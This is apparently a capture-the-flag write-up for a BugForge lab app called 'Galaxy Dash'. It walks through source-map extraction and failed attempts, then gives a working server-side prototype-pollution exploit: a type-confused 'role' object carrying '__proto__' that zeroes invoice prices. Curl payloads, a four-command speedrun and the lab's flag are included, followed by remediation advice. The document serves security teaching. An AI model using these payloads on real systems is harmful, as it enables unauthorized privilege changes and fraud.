- Galaxy Dash - a Futurama-themed B2B delivery booking platform
Enumeration
Set the target:
TARGET="https://lab-XXXXX.labs-app.bugforge.io"Endpoint Extraction + Source Maps
# Grab the main JS bundle
curl -sk "$TARGET" | grep -o 'static/js/main\.[a-f0-9]*\.js'
# main.596ac5d8.js
# Download and check for source map directive
curl -sk "$TARGET/static/js/main.596ac5d8.js" | tail -1
# //# sourceMappingURL=main.596ac5d8.js.map
# Download source map and extract original source files
curl -sk "$TARGET/static/js/main.596ac5d8.js.map" | python3 -c "
import json, sys, os
m = json.load(sys.stdin)
for i, name in enumerate(m.get('sources',[])):
if 'node_modules' not in name:
path = '/tmp/sm/' + name.split('/')[-1]
os.makedirs(os.path.dirname(path), exist_ok=True)
open(path, 'w').write(m['sourcesContent'][i])
print(f' [+] {name}')
"- 15 API endpoints
- 11 React components extracted
- Express backend, CORS
*, HS256 JWT with no expiry.
Key Source Code Signals
OrganizationSettings.js:14 - sends a dev: false field to the server:
const [formData, setFormData] = useState({
name: '',
business_type: '',
// ...
dev: false // <-- why is the client sending this?
});BookingForm.js:372 - client checks organization.dev for free pricing:
<span>{organization?.dev ? '0.00' : priceData.total.toFixed(2)}</span>TeamManagement.js — PUT /api/team/:userId accepts a role string and nested permissions object:
await axios.put(`/api/team/${userId}`, { role, permissions });Checking the org endpoint confirms dev is NOT a database column:
curl -sk -H "Authorization: Bearer $TOKEN" "$TARGET/api/organization"{"id":4,"name":"PhantomOrg Alpha","business_type":"Technology","status":"active","created_at":"..."}No dev field. That means if we pollute Object.prototype.dev = true, any server-side org.dev check inherits it from the prototype chain.
Step 1 - Register Two Users
# User A (our main account)
curl -sk -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username":"attacker","email":"attacker@test.com","password":"Pass123",
"full_name":"Attacker","org_name":"AttackerOrg","business_type":"Technology",
"headquarters_planet":"Earth","headquarters_address":"1 Hack St",
"contact_email":"attacker@test.com","contact_phone":"+1234","tax_id":"ORG-001"
}'{
"token": "eyJhbGciOiJIUzI1NiI...",
"user": {"id":5,"username":"attacker","role":"org_admin","organizationId":4}
}# Save the token
TOKEN="eyJhbGciOiJIUzI1NiI..."- JWT: HS256 |
id, username, organizationId, iat| Noexp| No role in token (DB-looked-up) - None-alg bypass: all 4 variants rejected
Step 2 - Create a Booking (needed for invoice)
# First, calculate a price so we have valid data
curl -sk -X POST "$TARGET/api/calculate-price" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"origin_location_id":1,"destination_location_id":2,
"cargo_size":"medium","cargo_weight_kg":500,"danger_level":0,
"has_insurance":false,"has_premium_tracking":false,"service_id":3
}'{"breakdown":{"basePrice":"375.00","serviceMultiplier":1},"total":375,"risk":0,"estimatedDeliveryMinutes":1440}# Create the booking
curl -sk -X POST "$TARGET/api/bookings" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"origin_location_id":1,"destination_location_id":2,
"cargo_size":"medium","cargo_weight_kg":500,"cargo_description":"test delivery",
"danger_level":0,"has_insurance":false,"has_premium_tracking":false,
"service_id":3,"total_price":375,"calculated_risk_percent":0,
"estimated_delivery_minutes":1440
}'{"id":1,"message":"Booking created successfully","delivery_date":"2026-04-07T..."}Step 3 - Verify Invoice BEFORE Pollution (baseline)
curl -sk -H "Authorization: Bearer $TOKEN" "$TARGET/api/invoices/1"{
"invoice_number": "INV-...",
"subtotal": "375.00",
"tax": "30.00",
"total": "405.00"
}Normal pricing. Now we pollute.
Failed PP Attempts
- Top-level
__proto__in Express request bodies does NOT pollute —body-parser(which usesJSON.parse) treats it as an own property.
# FAIL: top-level __proto__ on PUT /api/organization
curl -sk -X PUT "$TARGET/api/organization" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"AttackerOrg","__proto__":{"dev":true}}'
# 200 but no behavioral change
# FAIL: constructor.prototype on PUT /api/organization
curl -sk -X PUT "$TARGET/api/organization" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"AttackerOrg","constructor":{"prototype":{"dev":true}}}'
# 200, no effect
# FAIL: __proto__ nested inside permissions on PUT /api/team
curl -sk -X PUT "$TARGET/api/team/5" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"org_admin","permissions":{"can_view_deliveries":true,"__proto__":{"dev":true}}}'
# 200, but WIPED all permissions -- only can_view_deliveries survived
# FAIL: __proto__ on POST /api/register
curl -sk -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"pp_test","email":"pp@test.com","password":"Pass123","org_name":"PP Org","__proto__":{"dev":true}}'
# 200, registered fine, no pollution- None of these endpoints use a vulnerable deep merge on the
__proto__key.
The Breakthrough - Type Confusion on role
- The
rolefield expects a string ("viewer","delivery_manager","org_admin"). - The server doesn’t validate the type.
- Sending an object instead of a string triggers the deep merge to recurse into it.
Step 4 - Pollute via role field
# Get your user ID from the token (or from /api/team response)
MY_USER_ID=5
curl -sk -X PUT "$TARGET/api/team/$MY_USER_ID" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": {"__proto__": {"dev": true}},
"permissions": {
"can_view_deliveries": true,
"can_create_deliveries": true,
"can_edit_deliveries": true,
"can_manage_team": true,
"can_manage_org": true
}
}'{"message":"User permissions updated successfully"}What happened:
- The server deep-merges the request body into the user update object
roleis an object, so the merge recurses into it- It encounters
__proto__as a key and assigns{dev: true}toObject.prototype Object.prototype.devis nowtrueglobally on the server process
Step 5 — Verify Pollution via Invoice
curl -sk -H "Authorization: Bearer $TOKEN" "$TARGET/api/invoices/1"{
"invoice_number": "bug{xQB1DhCdznADql1F8lPjQu7v4lo6RfI9}",
"booking_id": "1",
"organization": {"name": "AttackerOrg"},
"line_items": [
{"description": "Standard Route: New New York (Earth) > ...", "unit_price": 0, "total": 0},
{"description": "Cargo: medium (500kg) - test delivery", "unit_price": 0, "total": 0}
],
"subtotal": "0.00",
"tax": "0.00",
"total": "0.00"
}- Flag in the
invoice_number. - All prices zeroed out.
- The server fetches the org from the database -
devisn’t a column, soorg.devwalks the prototype chain and findstrue.
Why This Worked
The attack chain has three links:
- Type confusion:
roleaccepts an object instead of a string - no input validation on type - Vulnerable deep merge: The server uses a recursive merge (likely
lodash.mergeor similar) that follows__proto__as a key - Prototype inheritance:
devis not a DB column, soorg.devfalls through toObject.prototype.devwhich we polluted totrue
- The key insight: you can’t detect PP by reading JSON responses.
JSON.stringifyignores prototype properties.- You must test for behavioural changes - in this case, the invoice pricing logic.
TL;DR - Speedrun (4 commands)
TARGET="https://lab-XXXXX.labs-app.bugforge.io"
# 1. Register
TOKEN=$(curl -sk -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"pwn","email":"pwn@test.com","password":"Pass123","full_name":"pwn","org_name":"PwnOrg","business_type":"General","headquarters_planet":"Earth","headquarters_address":"x","contact_email":"x@x.com","contact_phone":"0","tax_id":"0"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# 2. Create a booking (need one for the invoice)
curl -sk -X POST "$TARGET/api/bookings" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"origin_location_id":1,"destination_location_id":2,"cargo_size":"medium","cargo_weight_kg":500,"cargo_description":"x","danger_level":0,"has_insurance":false,"has_premium_tracking":false,"service_id":3,"total_price":375,"calculated_risk_percent":0,"estimated_delivery_minutes":1440}'
# 3. Pollute Object.prototype.dev via role type confusion
curl -sk -X PUT "$TARGET/api/team/$(python3 -c "import jwt,sys; print(jwt.decode('$TOKEN',options={'verify_signature':False})['id'])")" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":{"__proto__":{"dev":true}},"permissions":{"can_view_deliveries":true,"can_create_deliveries":true,"can_edit_deliveries":true,"can_manage_team":true,"can_manage_org":true}}'
# 4. Read the flag from the invoice
curl -sk -H "Authorization: Bearer $TOKEN" "$TARGET/api/invoices/1"Security Takeaways
Vulnerability
- Server-Side Prototype Pollution via type confusion on the
rolefield inPUT /api/team/:userId - The field accepts objects instead of strings, and a vulnerable deep merge function processes nested
__proto__payloads
Impact
- Global Object.prototype pollution - affects ALL objects on the server for the lifetime of the process
- Dev mode activation: all invoices generated with $0.00 pricing
- Could cascade to auth bypasses, permission escalation, or DoS depending on what other properties are checked
Root Cause
- No input type validation on
role(should reject non-string values) - Use of a vulnerable deep merge function that recurses into
__proto__ - Server-side logic checks
org.devon objects wheredevis never an own property (not a DB column)
Remediation
- Validate input types strictly:
rolemust be a string from an allowed set - Replace vulnerable merge with
Object.assign(shallow) or a merge function that skips__proto__andconstructorkeys - Freeze prototypes:
Object.freeze(Object.prototype)as a defense-in-depth measure - Never rely on the absence of a property to mean
false— use explicit checks:org.hasOwnProperty('dev') && org.dev